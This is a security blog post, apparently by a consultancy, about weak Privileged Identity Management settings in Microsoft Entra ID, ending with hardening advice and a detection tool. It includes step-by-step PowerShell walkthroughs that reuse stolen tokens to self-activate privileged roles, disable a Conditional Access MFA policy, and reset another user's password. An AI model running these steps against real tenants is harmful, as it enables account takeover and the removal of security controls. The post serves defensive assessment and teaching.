This post is part of a small blog series covering common Entra ID security findings observed during real-world assessments. Each article explores selected findings in more detail to provide a clearer understanding of the underlying risks and practical implications.

• Part 1: Privileged Foreign Enterprise Applications
• Part 2: Privileged Unprotected Groups

What Is Privileged Identity Management?

Privileged Identity Management (PIM) is a service in Microsoft Entra ID that enables organizations to manage, control, and monitor privileged access.

The main features are:

• Provide just-in-time privileged access
• Assign time-bound access and end dates
• Require approval or multifactor authentication to activate privileged roles
• Require written justification for role activation
• Generate notifications when privileged roles are activated

A common use case is to avoid permanently assigning the Global Administrator role. Instead, users or group members are made eligible to activate the role only when needed and only for a limited period.

The activation of a role can be protected by additional requirements such as MFA, approval, or justification. For stronger protection, activation can also require an Authentication Context¹, which allows Conditional Access policies to enforce specific controls again at activation time.

PIM is available for:

• Entra ID role assignments
• Group assignments (member or owner)
• Azure role assignments

This blog post focuses on PIM for Entra ID roles, but the same principles also apply to PIM for Groups and PIM for Azure roles.

Common Weaknesses in PIM Configuration

During security assessments, we frequently observe the same weak PIM configurations. In some cases, the use of PIM is sometimes even used to justify the absence of other important hardening measures, based on the assumption that administrators are already “protected by PIM.” In this chapter, we look at several weak configurations that can occur in practice and explain why PIM may provide less protection than expected when it is configured too permissively.

PIM Not Used

In some environments, PIM is not used at all, even though the required Entra ID P2 licenses are available. As a result, highly privileged roles such as Global Administrator remain assigned permanently. If such an account is compromised, for example through a phishing attack, an attacker can immediately obtain privileged access to the tenant.

High-Privilege Roles Missing from PIM Protection

Another common issue is that PIM is used for well-known sensitive roles such as Global Administrator, while other highly privileged roles remain permanently assigned.

MFA Requirement Relies Only on Built-In Azure MFA

In many environments, even highly privileged roles such as Global Administrator are protected only by the built-in Azure MFA requirement:

If an attacker can steal tokens that were issued after MFA authentication and therefore already contain the MFA claim, they may be able to activate the role themselves without an additional MFA step-up.

Another important aspect is that PIM only adds protection at the moment of role activation. If an attacker has stolen a user’s refresh token, they can wait for the legitimate user to activate the privileged role and then use the stolen refresh token to obtain a new access token with the elevated privileges.

Permanent Active Assignments Are Allowed

If permanent active assignments are allowed, privileged roles can be assigned without an expiration date, increasing the risk of long-term privileged access.

Missing Notifications

Highly privileged roles are usually not needed for day-to-day operations. Notifications for role assignments and activations can help detect unusual or unexpected use, for example outside normal working hours.

Excessive Activation Duration

Highly privileged roles are usually only needed for short administrative tasks, such as assigning other privileged roles. They should therefore only be activated for a limited time. In many environments, however, the maximum activation duration is set to more than four hours. Although users can select a shorter duration, these settings are often left unchanged in practice, which increases the exposure window.

Attack Examples

The following examples show the consequences of relying solely on the built-in Azure MFA requirement. In these scenarios, we assume that an attacker has obtained authentication tokens for the Azure portal, for example through phishing.

Example 1: Satisfying the Built-In Azure MFA Requirement

In this example, we assume that no further restrictions for administrators are enforced through Conditional Access policies and that only MFA is required. The admin user Alice has an eligible assignment for the Entra ID role Conditional Access Administrator. In the PIM role settings, only Azure MFA is required and no approval is necessary for activation.

The stolen access token contains the value mfa in the amr claim. This indicates that the user Alice authenticated using MFA:

PS> invoke-parseJwt $tokens.access_token

aud                 : https://graph.microsoft.com
amr                 : {pwd, mfa}
app_displayname     : Azure Portal
appid               : c44b4083-3bb0-49c1-b47d-974e53cbdf3c
idtyp               : user
name                : Admin Alice
oid                 : 5a29624c-484c-4f59-b13d-7436cd9b36fb
scp                 : email openid Organization.Read.All Policy.ReadWrite.ApplicationConfiguration profile User.Read
tid                 : 9f412d6a-xxxx-xxxx-xxxx-32e31a6af459
upn                 : adm_alice@notasecuretenant.ch
[CUT-BY-COMPASS]

The access token obtained in this case does not contain the scope² required to query the Conditional Access policies. However, the token is still highly powerful and can be used for the BroCi ³ auth flow, for example with tools such as EntraTokenAid, to obtain a new token with the required Policy.Read.All scope:

PS> $tokens = Invoke-Refresh -RefreshToken $tokens.refresh_token -ClientID '74658136-14ec-4630-ad9b-26e160ff0fc6' -BrkClientId 'c44b4083-3bb0-49c1-b47d-974e53cbdf3c' -RedirectUri 'brk-c44b4083-3bb0-49c1-b47d-974e53cbdf3c://portal.azure.com' -Origin 'https://portal.azure.com'
[*] Sending request to token endpoint
[+] Got an access token and a refresh token
[i] Audience: https://graph.microsoft.com / Expires at: 03/18/2026 11:15:11

The newly obtained token includes a large number of pre-consented scopes of the Microsoft first-party application ADIbizaUX, including those required to interact with Conditional Access policies:

PS> invoke-parseJwt $tokens.access_token

aud                 : https://graph.microsoft.com
iss                 : https://sts.windows.net/9f412d6a-xxxx-xxxx-xxxx-32e31a6af459/
amr                 : {pwd, mfa}
app_displayname     : ADIbizaUX
appid               : 74658136-14ec-4630-ad9b-26e160ff0fc6
name                : Admin Alice
oid                 : 5a29624c-484c-4f59-b13d-7436cd9b36fb
scp                 : _C.A6 _C.AY AccessReview.ReadWrite.All AgentCollection.Read.All AgentCollection.Read.Global AgentCollection.Read.Quarantined AgentInstance.Read.All Application.Read.All AuditLog.Read.All
ChangeManagement.Read.All ConsentRequest.Create ConsentRequest.Read ConsentRequest.ReadApprove.All ConsentRequest.ReadWrite.All CustomSecAttributeAssignment.Read.All CustomSecAttributeAuditLogs.Read.All Device-OrganizationalUnit.ReadWrite.All Directory.AccessAsUser.All Directory.Read.All Directory.ReadWrite.All Directory.Write.Restricted DirectoryRecommendations.Read.All DirectoryRecommendations.ReadWrite.All Domain.ReadWrite.All email EntitlementManagement.Read.All Group.ReadWrite.All HealthMonitoringAlert.ReadWrite.All
HealthMonitoringAlertConfig.ReadWrite.All IdentityProvider.ReadWrite.All IdentityRiskEvent.ReadWrite.All IdentityRiskyServicePrincipal.ReadWrite.All IdentityRiskyUser.ReadWrite.All IdentityUserFlow.Read.All LifecycleWorkflows.ReadWrite.All OnPremDirectorySynchronization.Read.All openid OrganizationalUnit.ReadWrite.All Policy.Read.All Policy.Read.IdentityProtection Policy.ReadWrite.AuthenticationFlows 
Policy.ReadWrite.AuthenticationMethod Policy.ReadWrite.Authorization Policy.ReadWrite.ConditionalAccess 
[CUT-BY-COMPASS]

Since the Conditional Access Administrator role is not permanently assigned, access to Conditional Access policies is still not possible:

PS> Connect-MgGraph -AccessToken ($Tokens.access_token | ConvertTo-SecureString -AsPlainText -Force)
Welcome to Microsoft Graph!

PS> Get-MgIdentityConditionalAccessPolicy
Get-MgIdentityConditionalAccessPolicy_List: Your account does not have access to this report or data. Please contact your global administrator to request access. One of the following roles is required: Security Reader, Company Administrator, Security Administrator, Conditional Access Administrator, Global Reader, Devices Admin, Entra Network Access Administrator.

Status: 403 (Forbidden)

However, the user object ID contained in the access token can be used to verify that the user is eligible to activate the Conditional Access Administrator role:

PS> (Get-MgRoleManagementDirectoryRoleEligibilityScheduleInstance -Filter "principalId eq '5a29624c-484c-4f59-b13d-7436cd9b36fb'" -All -ExpandProperty "roleDefinition").RoleDefinition | ft DisplayName,Id

DisplayName                      Id
-----------                      --
Conditional Access Administrator b1be1c3e-b65d-4f19-8427-f6fa0d97feb9

The role ID can then be used by the attacker to activate the role directly:

PS> $params = @{
	action = "SelfActivate"
	principalId = "5a29624c-484c-4f59-b13d-7436cd9b36fb"
	roleDefinitionId = "b1be1c3e-b65d-4f19-8427-f6fa0d97feb9"
	directoryScopeId = "/"
	justification = "CAP Change"
	scheduleInfo = @{
		startDateTime = [System.DateTime]::Parse("2026-03-17T10:40:00.000Z")
		expiration = @{
			type = "AfterDuration"
			duration = "PT5H"
		}
	}
}

PS> New-MgRoleManagementDirectoryRoleAssignmentScheduleRequest -BodyParameter $params | ft Status,CompletedDateTime

Status      CompletedDateTime
------      -----------------
Provisioned 17.03.2026 12:47:42

To use the newly activated role, the attacker only needs to refresh the token and reconnect to the Microsoft Graph PowerShell module. The refreshed token now provides access to the Conditional Access policies:

PS> $tokens = Invoke-Refresh -RefreshToken $tokens.refresh_token -ClientID '74658136-14ec-4630-ad9b-26e160ff0fc6' -BrkClientId 'c44b4083-3bb0-49c1-b47d-974e53cbdf3c' -RedirectUri 'brk-c44b4083-3bb0-49c1-b47d-974e53cbdf3c://portal.azure.com' -Origin 'https://portal.azure.com'
[*] Sending request to token endpoint
[+] Got an access token and a refresh token
[i] Audience: https://graph.microsoft.com / Expires at: 03/17/2026 12:50:56

PS> Connect-MgGraph -AccessToken ($Tokens.access_token | ConvertTo-SecureString -AsPlainText -Force)
Welcome to Microsoft Graph!

PS> Get-MgIdentityConditionalAccessPolicy | ft Displayname,ID,State

DisplayName              Id                                   State
-----------              --                                   -----
Enforce_MFA_All_User     da2a711b-6404-4287-b784-90b36442ccdf enabled
[CUT-BY-COMPASS]

With the Conditional Access Administrator role, the attacker can modify the policies, for example by excluding users or disabling them:

PS> Update-MgIdentityConditionalAccessPolicy -ConditionalAccessPolicyId "da2a711b-6404-4287-b784-90b36442ccdf" -BodyParameter @{state = "disabled"}

PS> Get-MgIdentityConditionalAccessPolicy -ConditionalAccessPolicyId "da2a711b-6404-4287-b784-90b36442ccdf" | ft Displayname,ID,State

DisplayName          Id                                   State
-----------          --                                   -----
Enforce_MFA_All_User da2a711b-6404-4287-b784-90b36442ccdf disabled

This example shows that PIM may offer only limited protection if it is configured too permissively and an attacker obtains a powerful token, such as one issued for an administrative portal session. If role activation had required an Authentication Context that enforces re-authentication during activation, this abuse path would have been significantly more difficult to exploit.

Example 2: Using a Stolen Refresh Token

In this second example, MFA is not enforced by a Conditional Access policy and is required only during activation of a privileged role such as User Administrator.

In this scenario, the attacker obtained authentication tokens for Alice’s Microsoft Teams client. Because Alice did not authenticate with MFA, the amr claim does not contain the value mfa:

PS> invoke-parseJwt $tokens.access_token

aud                 : https://graph.microsoft.com
iss                 : https://sts.windows.net/9f412d6a-xxxx-xxxx-xxxx-32e31a6af459/
amr                 : {pwd}
app_displayname     : Microsoft Teams
appid               : 1fec8e78-bce4-4aaf-ab1b-5451cc387264
name                : Admin Alice
oid                 : 5a29624c-484c-4f59-b13d-7436cd9b36fb
scp                 : AppCatalog.Read.All Calendars.Read Calendars.Read.Shared Calendars.ReadWrite Calendars.ReadWrite.Shared Channel.ReadBasic.All ChatMessage.Send Contacts.ReadWrite.Shared email Files.ReadWrite.All FileStorageContainer.Selected InformationProtectionPolicy.Read Mail.ReadWrite Mail.Send MailboxSettings.ReadWrite Notes.ReadWrite.All openid Organization.Read.All People.Read Place.Read.All profile Sites.ReadWrite.All Tasks.ReadWrite Team.ReadBasic.All TeamsAppInstallation.ReadForTeam TeamsTab.Create User.ReadBasic.All
tid                 : 9f412d6a-xxxx-xxxx-xxxx-32e31a6af459
upn                 : adm_alice@notasecuretenant.ch
[CUT-BY-COMPASS]

Since activation of the User Administrator role requires MFA, the attacker cannot activate the role directly. However, if the session lifetime is not limited through Conditional Access policies, a stolen refresh token may remain valid for up to 90 days and can continue to be extended through repeated renewal. In addition, there is no limit on the number of valid refresh tokens that exist simultaneously. Because PIM protects only the moment of role activation, the attacker can simply wait until the user activates the role.

Assume that Alice later activates the role through the portal. At that point, she must complete MFA because it is enforced by PIM:

The attacker only needs to refresh the token to obtain a new access token that now includes the newly activated privileges. In addition, the attacker can use the refresh token’s FOCI (Family of Client IDs)⁴ capability to request a token for the Office 365 Management client (00b41c95-dab0-4487-9791-b9d2c32c80f2), which has the delegated API permission User.ReadWrite.All pre-consented:

PS> $tokens = Invoke-Refresh -RefreshToken $tokens.refresh_token -ClientID 00b41c95-dab0-4487-9791-b9d2c32c80f2
[*] Sending request to token endpoint
[+] Got an access token and a refresh token
[i] Audience: https://graph.microsoft.com / Expires at: 03/17/2026 15:17:02

Inspection of the access token shows that it still does not contain the value mfa in the amr claim:

PS> invoke-parseJwt $tokens.access_token

aud                 : https://graph.microsoft.com
iss                 : https://sts.windows.net/9f412d6a-xxxx-xxxx-xxxx-32e31a6af459/
amr                 : {pwd}
app_displayname     : Office 365 Management
appid               : 00b41c95-dab0-4487-9791-b9d2c32c80f2
name                : Admin Alice
oid                 : 5a29624c-484c-4f59-b13d-7436cd9b36fb
scp                 : Contacts.Read Contacts.ReadWrite Directory.AccessAsUser.All email Mail.ReadWrite Mail.ReadWrite.All openid People.Read People.ReadWrite profile Tasks.ReadWrite User.ReadWrite User.ReadWrite.All
tid                 : 9f412d6a-xxxx-xxxx-xxxx-32e31a6af459
upn                 : adm_alice@notasecuretenant.ch
[CUT-BY-COMPASS]

However, because Alice activated the role through PIM and completed MFA, the attacker can now use the refreshed token to abuse those permissions. For example, the attacker may be able to reset another user’s password:

PS> Connect-MgGraph -AccessToken ($Tokens.access_token | ConvertTo-SecureString -AsPlainText -Force)
Welcome to Microsoft Graph!
PS> $newPassword = ConvertTo-SecureString "AttackerSuperPassword!1" -AsPlainText -Force
PS> Update-MgUser -UserId Alex@notasecuretenant.ch -PasswordProfile @{ ForceChangePasswordNextSignIn = $false; Password = $newPassword }

This example shows that PIM protects only the moment of role activation. It does not revoke existing sessions or require MFA again after the role has been activated. If role activation had required an Authentication Context that enforced re-authentication, this abuse path would have been prevented.

Limitation of Authentication Context

In the previous two examples, an Authentication Context was described as an important additional protection. The obvious question is whether an Authentication Context is sufficient to prevent these attacks completely.

Unfortunately, there is an important limitation: “The policy factors in five minutes of clock skew when every time is selected, so that it doesn’t prompt users more often than once every five minutes.⁵”

This means that Example 1 may still work if the attacker obtains freshly issued tokens that already contain the MFA claim and uses them within five minutes to activate the role. In our experience, this even work when additional grant controls are configured, such as requiring a compliant or hybrid-joined device.

One possible mitigation is to create an additional Conditional Access policy that blocks access unless specific conditions are met, such as a trusted IP range or a device filter, and assign it to the same Authentication Context. Although this approach is not officially documented by Microsoft, our testing showed that it can prevent role activation during the first five minutes after authentication.

Detecting Weak PIM Configuration with EntraFalcon

EntraFalcon is a PowerShell-based assessment and enumeration tool designed to evaluate Microsoft Entra ID environments and identify privileged objects and risky configurations. The tool is open source, available free of charge, and exports results as local interactive HTML reports for offline analysis. Installation instructions and usage details are available on GitHub:
https://github.com/CompassSecurity/EntraFalcon

EntraFalcon enumerates the PIM settings for all Entra ID roles in the tenant. It provides an overview table of the most important role settings and allows direct navigation to the detailed configuration of each role. In addition, it includes built-in checks to identify weak configurations, particularly for Tier-0 roles.

For example, the check PIM-002 identifies direct assignments to Entra ID Tier-0 roles that therefore do not require PIM for activation:

Another example is the check PIM-009, which identifies Tier-0 roles that do not require approval or an Authentication Context:

Examples of other PIM-related checks include:

The PIM report also includes a table-based overview of all PIM role settings:

The detailed configuration of each role can also be reviewed directly:

Recommendations

Appropriate recommendations depend heavily on the organization, the role concept, and the additional protection mechanisms in place, such as phishing-resistant authentication methods, privileged access workstations for Tier-0 administrators, or IP- and device-based restrictions. The following recommendations should therefore be understood as general guidance and adapted to the specific environment.

It is also important to note that PIM alone is not sufficient to fully protect privileged access. Especially for sensitive accounts, it should be combined with a restrictive Conditional Access Policy configuration, for example by enforcing device-based controls.

Recommendations for Tier-0 / Control-Plane Roles

Highly privileged roles such as Global Administrator should only be used for very specific and typically short tasks. Therefore, it is generally feasible to apply restrictive PIM settings. In addition to protecting these roles, restrictive settings also reduce the likelihood that administrators continue using them out of convenience.

Examples of such roles include:

• Global Administrator
• Privileged Authentication Administrator
• Privileged Role Administrator
• Domain Name Administrator
• External Identity Provider Administrator
• Hybrid Identity Administrator
• Security Administrator
• Application Administrator*
• Cloud Application Administrator*

* For the Application Administrator and Cloud Application Administrator roles, the risk depends on whether privileged applications exist in the tenant. However, since this is the case in many environments, it is often reasonable to treat these roles as highly privileged as well.

Recommended settings:

• Activation maximum duration: 2 to 4 hours
• On activation require: An Authentication Context that enforces:
  • MFA, ideally phishing-resistant
  • Sign-in frequency: every time
  • Optionally, block activation unless access originates from specific IP ranges or devices*
• Require justification on activation: Yes
• Require approval to activate: Yes**
• Notification on role activation: Yes
• Allow permanent active assignment: No***

* This can help prevent abuse during the first five minutes after authentication. If equivalent restrictions are already enforced through Conditional Access policies, this may be unnecessary.

** For the strongest protection, a robust approval workflow can help prevent attackers from activating the role themselves, even if they have compromised an administrator’s device.

*** Permanent active assignments should only be considered for roles used by emergency accounts.

Recommendations for Lower-Tier Roles

Lower-tier roles may be used for daily operational tasks, for example by service desk staff managing user accounts. Therefore, requiring approval and generating notifications for every activation often adds little security value while creating unnecessary approval and alert fatigue.

However, not all lower-tier roles are equal. Some are used daily, while others are assigned only occasionally or still provide access to sensitive functions. The appropriate settings should therefore depend not only on the role itself, but also on its actual use and effective assignments in the tenant.

A pragmatic baseline can be:

• Activation maximum duration: 10 to 12 hours
• On activation require: An Authentication Context that enforces:
  • MFA, ideally phishing-resistant
  • Sign-in frequency: every time*
• Require justification on activation: Yes
• Require approval to activate: No
• Notification on role activation: No

* Note that the Authentication Context may have no usability impact if the role is activated within five minutes of authentication.

Where a role is rarely used or still enables sensitive changes, stricter settings may still be appropriate.

References

1. https://learn.microsoft.com/en-us/entra/id-governance/privileged-identity-management/pim-how-to-change-default-settings#on-activation-require-microsoft-entra-conditional-access-authentication-context ︎
2. https://learn.microsoft.com/en-us/entra/identity-platform/scopes-oidc ︎
3. https://specterops.io/blog/2025/08/13/going-for-brokering-offensive-walkthrough-for-nested-app-authentication/ ︎
4. https://github.com/secureworks/family-of-client-ids-research ︎
5. https://learn.microsoft.com/en-us/entra/identity/conditional-access/concept-session-lifetime#require-reauthentication-every-time ︎

Compass Security Blog – ​Read More